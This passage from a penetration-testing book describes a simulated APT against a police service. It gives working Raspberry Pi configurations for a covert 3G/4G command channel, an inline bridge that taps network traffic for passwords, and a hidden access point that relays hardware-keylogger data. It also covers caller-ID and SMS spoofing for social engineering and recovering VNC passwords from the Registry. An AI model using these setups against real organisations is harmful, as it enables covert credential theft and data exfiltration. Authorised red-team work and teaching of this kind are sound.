smsc95xx.macaddr=00:11:21:3D:22:A5
Note that it is not necessary to make any further configuration changes within Raspbian via ifconfig
etc.
You can take this as far as you want, for example, by configuring a fake Cisco telnet or SSH daemon.
A C2 agent can communicate with the server in one of three ways:
The Pi does not support mobile connections natively but a USB 3G/4G dongle can easily be added and is supported by the Raspbian OS. In the following example, I use a Huawei HSPA USB stick connected to the Vodafone network.
The easiest way to demonstrate configuring a 3G/4G connection is with the sakis
script run in interactive mode.
Install PPP:
sudo apt-get install ppp
Download the Sakis3g package:
<br>sudo wget "http://www.sakis3g.com/downloads/sakis3g.tar.gz" -O sakis3g.tar.gz
Unzip the file:
sudo tar -xzvf sakis3g.tar.gz
Make the file executable:
sudo chmod +x sakis3g
Launch it in interactive mode:
./sakis3g --interactive
The steps shown in Figures 6-10 through 6-15 illustrate the configuration of the Huawei device.
We now have Internet access via 3G:
ppp0 Link encap:Point-to-Point Protocol
inet addr:109.32.107.215 P-t-P:10.64.64.64 Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
RX packets:12 errors:0 dropped:0 overruns:0 frame:0
TX packets:21 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:3
RX bytes:582 (582.0 B) TX bytes:4792 (4.6 KiB)
Connecting the Pi directly to the switch permits attacks against adjacent systems and possibly wider access depending on how the network is architected. However, options to intercept data are limited. Perhaps if the switch itself could be compromised, a TAP port could be created, but the amount of data the Pi would have to handle makes this approach unrealistic at best. Another potential way to intercept traffic is ARP cache poisoning, but this is far too clumsy and modern networks can easily detect and foil it.
There is a better way.
If another Ethernet adapter is added to the Pi (a USB adapter is the best way to go), you can turn the Pi into a transparent, completely protocol-agnostic bridge that can be introduced inline into a network connection between either a switch and a host or a switch and router in whatever configuration you want.
Combine this with PoE and you have a self-powered network tap that will route data between two points and (using whatever tools you favor) log traffic, passwords, and so forth. This won't allow visibility into encrypted traffic, but you'd be amazed at how much interesting stuff goes over the network in plaintext. In the DMZ, this can be used to capture emails, for example. Configuring the Pi to do this is simpler than you might think. First install the bridge tools:
sudo apt-get install bridge-utils
Then modify the configuration /etc/network/interfaces
file to append the following:
auto br0
iface br0 inet dhcp
bridge_ports eth0 eth1
bridge_stp on
Note that this example assumes your built-in NIC is eth0
and the USB adapter is eth1
, but that should be the case. The last step is to bring up the bridge interface:
sudo ifconfig up br0
You're good to go.
Hardware keyloggers are devices that are physically connected between the host and the keyboard (see Figure 6.16). There are advantages of using this approach over a software keylogger. They are immune to antivirus and will capture everything the user types without needing any special privileges or process access. The disadvantages are expense—hardware keyloggers are available that can connect to a WiFi AP and talk home but they cost a couple hundred dollars. You also must be physically present to install them, rather than remotely delivering a software payload. That being said, given that the Pi has wireless on board and it is possible to configure a 3G/4G C2 channel, if you do have physical access for a short time, a Pi could be deployed somewhere discreetly in the building and then serve as an AP that keyloggers could connect to and send data home.
A Raspberry Pi can be turned into a discreet wireless access point by using the following steps.
Install the required software:
sudo apt-get install hostapd isc-dhcp-server
Edit the DHCP server's configuration file:
sudo nano /etc/dhcp/dhcpd.conf
To reflect the following:
authoritative;
subnet 192.168.69.0 netmask 255.255.255.0 {
range 192.168.69.10 192.168.69.50;
option broadcast-address 192.168.69.255;
option routers 192.168.69.1;
default-lease-time 600;
max-lease-time 7200;
}
Then modify the network interfaces config:
sudo nano /etc/network/interfaces
To give it a static IP:
iface wlan0 inet static
address 192.168.69.1
netmask 255.255.255.0
Configure the AP:
sudo nano /etc/hostapd/hostapd.conf
To reflect the following:
interface=wlan0
ssid=AP4passwordtheft
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=supersecretpassword
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
You might want to change the SSID and passphrase.
Finish off the DHCP configuration:
sudo nano /etc/default/hostapd
Add this line:
DAEMON_CONF="/etc/hostapd/hostapd.conf"
Configure Network Address Translation (NAT):
sudo nano /etc/sysctl.conf
Add the following line:
net.ipv4.ip_forward=1
Activate IP forwarding with the following command:
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
A quick addition of some IPTables
rules is necessary to ensure that traffic is routed over the 3G/4G C2 channel:
sudo iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
sudo iptables -A FORWARD -i ppp0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i wlan0 -o ppp0 -j ACCEPT
Make these rules persistent to survive reboots:
sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"
Edit the interfaces file again:
sudo nano /etc/network/interfaces
Add the following line:
up iptables-restore < /etc/iptables.ipv4.nat
Start the AP with the following command:
sudo /usr/sbin/hostapd /etc/hostapd/hostapd.conf
As long as your 3G/4G C2 is correctly configured, clients can now connect to this AP and access the Internet. More specifically, hardware keyloggers can connect to the AP and deliver logged keystrokes.
Misrepresenting oneself is at the core of a successful APT, whether modeled or otherwise. The easiest and safest way to do this is by telephone. Telephones are a technology that people trust (at least more than email) because they believe they are infallible. Telephone technologies such as Caller ID and SMS can be easily compromised to make the receiver believe they are receiving a call or a text from whomever the attacker wants. This way, instructions (or demands) can be made of a target in a convincing manner. The importance of acquiring company telephony directories should now be clear. Such an attack can be combined with a mass mail to determine who has an “Out of Office” vacation message set on their email account. Therefore, when (for example) a spoofed SMS message is sent, there is a minimal chance of the actual owner of that number seeing any replies that might be sent by SMS or email.
In this instance, I was able to swipe an internal directory from reception but that's not always needed—reception staff will often provide you with mobile numbers for staff if you already have names to work with. Spoofing the phone numbers can be done in various ways—if this is something you're going to want to do a lot, I suggest you build your own Asterisk PBX, but that is absolutely not required. There are various VoIP vendors that allow outbound calling globally for low rates and—critically—the option to set your own Caller ID and SMS number. Once you have configured your software to use the VoIP provider, configuration of the latter is shown in Figures 6.17 and 6.18.
Given time constraints and the unusual circumstances we were under and also due to the fact that we had (at least theoretically) physical access, I decided that we needed a quick win. This would be as follows:
These goals, executed within a short time frame, would certainly demonstrate vulnerability and would give sufficient additional access should the client want to see the effects of a longer-term APT scenario executed from this jumping-off point. We would then attempt to access the confidential data described at the beginning of this chapter.
The Raspberry Pi didn't need access to the network to do its job, only power and a discreet location. I slapped a label on the side in case anyone found it, as shown in Figure 6.19.
Installing the preconfigured hardware keyloggers is as simple as waiting until lunch and connecting them inline between the keyboard and computer towers under the desk; they won't go undiscovered forever, but then they don't need to—just long enough to grab some admin credentials or other juicy data that would be transmitted back to base via the DIY Raspberry Pi/wireless access point/3G/4G solution.
As it turned out, we were only able to gain non-administrative accounts through the keylogging attack so we used a forged caller ID attack from a legitimate user to an admin to ask them to log on to that user's workstation to check out a problem and then stole the domain admin token when they did so.
Many corporate environments have a standard phone image that is copied to a mobile before it is issued to a member of staff. This image contains not only the security policy but also the latest phone book. The benefit of this from our perspective is that a forged number will show up as the equivalent name in the phone book. Again, this gives the target no reason to be suspicious whatsoever. This is one of the simplest but most powerful attacks in your arsenal.
In any event, it transpired that every workstation and server on the network was being administered by VNC (which is often deployed secured with a single password across the entire enterprise). This meant that once a single workstation had been compromised, the password could be easily recovered from the Registry as it is only stored with the simplest of encoding. At this point, with a VNC client, we could access every system on the network. The biggest problem we had was copying large quantities of confidential data in the time we had left.
This chapter introduced new technologies and concepts demonstrating the benefit of even short-term physical access to a target's location. Never assume that a target organization's security posture is commensurate with the security of the data they are trying to protect. A police service is a public body and as such does not have the security budget of a bank or a large corporation. A black hat could have sold the data we obtained to organized crime for a pretty penny. Even the location and nature of all the firearms in the county would have been gold, let alone details concerning informants.
18.118.24.124